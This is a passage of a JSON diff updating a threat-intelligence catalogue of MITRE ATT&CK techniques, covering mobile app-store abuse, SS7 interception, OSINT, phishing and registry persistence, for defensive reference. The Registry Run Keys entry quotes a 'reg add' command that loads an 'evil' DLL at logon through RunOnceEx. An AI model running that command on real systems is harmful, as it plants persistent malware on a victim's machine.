(Citation: Oberheide-Bouncer)\n\nAdversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)", + "meta": { + "external_id": "ECO-22", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1475", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html", + "http://dl.acm.org/citation.cfm?id=2592796", + "https://jon.oberheide.org/files/summercon12-bouncer.pdf", + "https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf", + "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei", + "https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/", + "http://www.vvdveen.com/publications/BAndroid.pdf" + ] + }, + "uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "value": "Deliver Malicious App via Authorized App Store - T1475" + }, + { + "description": "An adversary could make educated guesses of the device lock screen's PIN/password (e.g., commonly used values, birthdays, anniversaries) or attempt a dictionary or brute force attack against it. Brute force attacks could potentially be automated (Citation: PopSci-IPBox).\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1459", + "refs": [ + "https://attack.mitre.org/techniques/T1459" + ] + }, + "related": [ + { + "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "f296fc9c-2ff5-43ee-941e-6b49c438270a", + "value": "Device Unlock Code Guessing or Brute Force - T1459" + }, + { + "description": "Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)", + "meta": { + "external_id": "T1238", + "kill_chain": [ + "mitre-pre-attack:priority-definition-direction" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1238" + ] + }, + "uuid": "4fad17d3-8f42-449d-ac4b-dbb4c486127d", + "value": "Assign KITs, KIQs, and/or intelligence requirements - T1238" + }, + { + "description": "Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)", + "meta": { + "external_id": "T1236", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1236" + ] + }, + "uuid": "8e927b19-04a6-4aaa-a42f-4f0a53411d27", + "value": "Assess current holdings, needs, and wants - T1236" + }, + { + "description": "Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)", + "meta": { + "external_id": "T1237", + "kill_chain": [ + "mitre-pre-attack:priority-definition-direction" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1237" + ] + }, + "uuid": "03da0598-ed46-4a73-bf43-0313b3522400", + "value": "Submit KITs, KIQs, and intelligence requirements - T1237" + }, + { + "description": "Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)", + "meta": { + "external_id": "T1321", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1321" + ] + }, + "uuid": "0c592c79-29a7-4a94-81a4-c87eae3aead6", + "value": "Common, high volume protocols and software - T1321" + }, + { + "description": "Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)", + "meta": { + "external_id": "T1316", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1316" + ] + }, + "uuid": "b79e8a3f-a109-47c2-a0e3-564955590a3d", + "value": "Non-traditional or less attributable payment options - T1316" + }, + { + "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)", + "meta": { + "external_id": "T1343", + "kill_chain": [ + "mitre-pre-attack:persona-development" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1343" + ] + }, + "uuid": "9a8c47f6-ae69-4044-917d-4b1602af64d9", + "value": "Choose pre-compromised persona and affiliated accounts - T1343" + }, + { + "description": "The mobile device could contain built-in functionality with malicious behavior or exploitable vulnerabilities. An adversary could deliberately insert and take advantage of the malicious behavior or could exploit inadvertent vulnerabilities. In many cases, it is difficult to be certain whether exploitable functionality is due to malicious intent or simply an inadvertent mistake.\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1473", + "refs": [ + "https://attack.mitre.org/techniques/T1473" + ] + }, + "related": [ + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "f9e4f526-ac9d-4df5-8949-833a82a1d2df", + "value": "Malicious or Vulnerable Built-in Device Functionality - T1473" + }, + { + "description": "Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)", + "meta": { + "external_id": "T1389", + "kill_chain": [ + "mitre-pre-attack:technical-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1389" + ] + }, + "uuid": "ad124f84-52d2-40e3-95dd-cfdd44eae6ef", + "value": "Identify vulnerabilities in third-party software libraries - T1389" + }, + { + "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Visa and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "meta": { + "external_id": "CAPEC-270", + "kill_chain": [ + "mitre-attack:persistence" + ], "mitre_data_sources": [ "Windows Registry", "File monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1060", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "http://msdn.microsoft.com/en-us/library/aa376977" - ], - "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc" + "https://attack.mitre.org/techniques/T1060", + "https://capec.mitre.org/data/definitions/270.html", + "http://msdn.microsoft.com/en-us/library/aa376977", + "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key", + "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] }, - "value": "Registry Run Keys / Start Folder" + "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "value": "Registry Run Keys / Startup Folder - T1060" }, { - "description": "Data exfiltration is performed over the [[Command and Control]] channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring", + "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport)", "meta": { + "external_id": "CEL-37", + "kill_chain": [ + "mitre-mobile-attack:network-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1449", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html", + "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf", + "https://www.youtube.com/watch?v=q0n5ySqbfdI", + "http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf", + "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf", + "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" + ] + }, + "uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", + "value": "Exploit SS7 to Redirect Phone Calls/SMS - T1449" + }, + { + "description": "Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.", + "meta": { + "external_id": "T1041", + "kill_chain": [ + "mitre-attack:exfiltration" + ], "mitre_data_sources": [ "User interface", "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1041", + "https://attack.mitre.org/techniques/T1041", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "92d7da27-2d91-488e-a00c-059dc162766d" + ] }, - "value": "Exfiltration Over Command and Control Channel" + "uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "value": "Exfiltration Over Command and Control Channel - T1041" }, { - "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring", + "description": "Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)", "meta": { + "external_id": "T1302", + "kill_chain": [ + "mitre-pre-attack:organizational-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1302" + ] + }, + "uuid": "31a57c70-6709-4d06-a473-c3df1f74c1d4", + "value": "Assess security posture of physical locations - T1302" + }, + { + "description": "Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1250", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1250" + ] + }, + "uuid": "23ecb7e0-0340-43d9-80a5-8971fe866ddf", + "value": "Determine domain and IP address space - T1250" + }, + { + "description": "If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)", + "meta": { + "external_id": "T1290", + "kill_chain": [ + "mitre-pre-attack:technical-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1290", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ] + }, + "uuid": "b26babc7-9127-4bd5-9750-5e49748c9be3", + "value": "Research visibility gap of security vendors - T1290" + }, + { + "description": "An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport)", + "meta": { + "external_id": "CEL-38", + "kill_chain": [ + "mitre-mobile-attack:network-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1450", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html", + "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf", + "http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf", + "https://www.youtube.com/watch?v=q0n5ySqbfdI", + "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf", + "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" + ] + }, + "uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", + "value": "Exploit SS7 to Track Device Location - T1450" + }, + { + "description": "On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.", + "meta": { + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1413", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ] + }, + "uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "value": "Access Sensitive Data in Device Logs - T1413" + }, + { + "description": "An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).\n\nDetection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1441", + "refs": [ + "https://attack.mitre.org/techniques/T1441" + ] + }, + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "a21a6a79-f9a1-4c87-aed9-ba2d79536881", + "value": "Stolen Developer Credentials or Signing Keys - T1441" + }, + { + "description": "Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)", + "meta": { + "external_id": "T1342", + "kill_chain": [ + "mitre-pre-attack:persona-development" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1342" + ] + }, + "uuid": "271e6d40-e191-421a-8f87-a8102452c201", + "value": "Develop social network persona digital footprint - T1342" + }, + { + "description": "Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)", + "meta": { + "external_id": "T1298", + "kill_chain": [ + "mitre-pre-attack:organizational-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1298" + ] + }, + "uuid": "1def484d-2343-470d-8925-88f45b5f9615", + "value": "Assess vulnerability of 3rd party vendors - T1298" + }, + { + "description": "An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).", + "meta": { + "external_id": "T1452", + "kill_chain": [ + "mitre-mobile-attack:effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1452" + ] + }, + "uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", + "value": "Manipulate App Store Rankings or Ratings - T1452" + }, + { + "description": "Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1247", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1247" + ] + }, + "related": [ + { + "dest-uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "028ad431-84c5-4eb7-a364-2b797c234f88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b", + "value": "Acquire OSINT data sets and information - T1247" + }, + { + "description": "Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1266", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1266" + ] + }, + "related": [ + { + "dest-uuid": "028ad431-84c5-4eb7-a364-2b797c234f88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a", + "value": "Acquire OSINT data sets and information - T1266" + }, + { + "description": "Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)", + "meta": { + "external_id": "T1277", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1277" + ] + }, + "related": [ + { + "dest-uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "028ad431-84c5-4eb7-a364-2b797c234f88", + "value": "Acquire OSINT data sets and information - T1277" + }, + { + "description": "During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)", + "meta": { + "external_id": "T1299", + "kill_chain": [ + "mitre-pre-attack:organizational-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1299" + ] + }, + "uuid": "e2aa077d-60c9-4de5-b015-a9c382877cd9", + "value": "Assess opportunities created by business deals - T1299" + }, + { + "description": "Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)", + "meta": { + "external_id": "T1338", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1338" + ] + }, + "uuid": "54a42187-a20c-4e4e-ba31-8d15c9e1f57f", + "value": "SSL certificate acquisition for trust breaking - T1338" + }, + { + "description": "As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be contracted out. (Citation: APT1)", + "meta": { + "external_id": "T1348", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1348" + ] + }, + "uuid": "c9fb4451-729d-4771-b205-52c1829f949c", + "value": "Identify resources required to build capabilities - T1348" + }, + { + "description": "During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)", + "meta": { + "external_id": "T1365", + "kill_chain": [ + "mitre-pre-attack:stage-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1365" + ] + }, + "uuid": "388f3a5c-2cdd-466c-9159-b507fa429fcd", + "value": "Hardware or software supply chain implant - T1365" + }, + { + "description": "Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)", + "meta": { + "external_id": "T1357", + "kill_chain": [ + "mitre-pre-attack:test-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1357" + ] + }, + "uuid": "e042a41b-5ecf-4f3a-8f1f-1b528c534772", + "value": "Test malware in various execution environments - T1357" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)", + "meta": { + "external_id": "T1376", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1376" + ] + }, + "uuid": "b79a1960-d0be-4b51-bb62-b27e91e1dea0", + "value": "Conduct social engineering or HUMINT operation - T1376" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)", + "meta": { + "external_id": "T1367", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1367" + ] + }, + "uuid": "e24a9f99-cb76-42a3-a50b-464668773e97", + "value": "Spear phishing messages with malicious attachments - T1367" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nClicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)", + "meta": { + "external_id": "T1386", + "kill_chain": [ + "mitre-pre-attack:compromise" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1386" + ] + }, + "uuid": "0440f60f-9056-4791-a740-8eae96eb61fa", + "value": "Authorized user performs requested cyber action - T1386" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)", + "meta": { + "external_id": "T1368", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1368" + ] + }, + "uuid": "2fc04aa5-48c1-49ec-919a-b88241ef1d17", + "value": "Spear phishing messages with text only - T1368" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)", + "meta": { + "external_id": "T1369", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1369" + ] + }, + "uuid": "489a7797-01c3-4706-8cd1-ec56a9db3adc", + "value": "Spear phishing messages with malicious links - T1369" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nIf an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)", + "meta": { + "external_id": "T1387", + "kill_chain": [ + "mitre-pre-attack:compromise" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1387" + ] + }, + "uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413", + "value": "Unauthorized user introduces compromise delivery mechanism - T1387" + }, + { + "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.", + "meta": { + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1398", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered", + "https://www.apple.com/business/docs/iOS_Security_Guide.pdf" + ] + }, + "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "value": "Modify OS Kernel or Boot Partition - T1398" + }, + { + "description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection.\n\nKrebs described this technique in (Citation: Krebs-JuiceJacking). Lau et al. (Citation: Lau-Mactans) demonstrated the ability to inject malicious applications into an iOS device via USB. Hay (Citation: IBM-NexusUSB) demonstrated the ability to exploit a Nexus 6 or 6P device over USB and then gain the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location. Horn (Citation: GoogleProjectZero-OATmeal) demonstrated the ability to exploit Android devices such as the Google Pixel 2 over USB.\n\nProducts from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices (Citation: Computerworld-iPhoneCracking).", + "meta": { + "external_id": "PHY-1", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1458", + "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html", + "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/", + "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf", + "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/", + "https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html", + "https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html" + ] + }, + "uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "value": "Exploit via Charging Station or PC - T1458" + }, + { + "description": "Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an 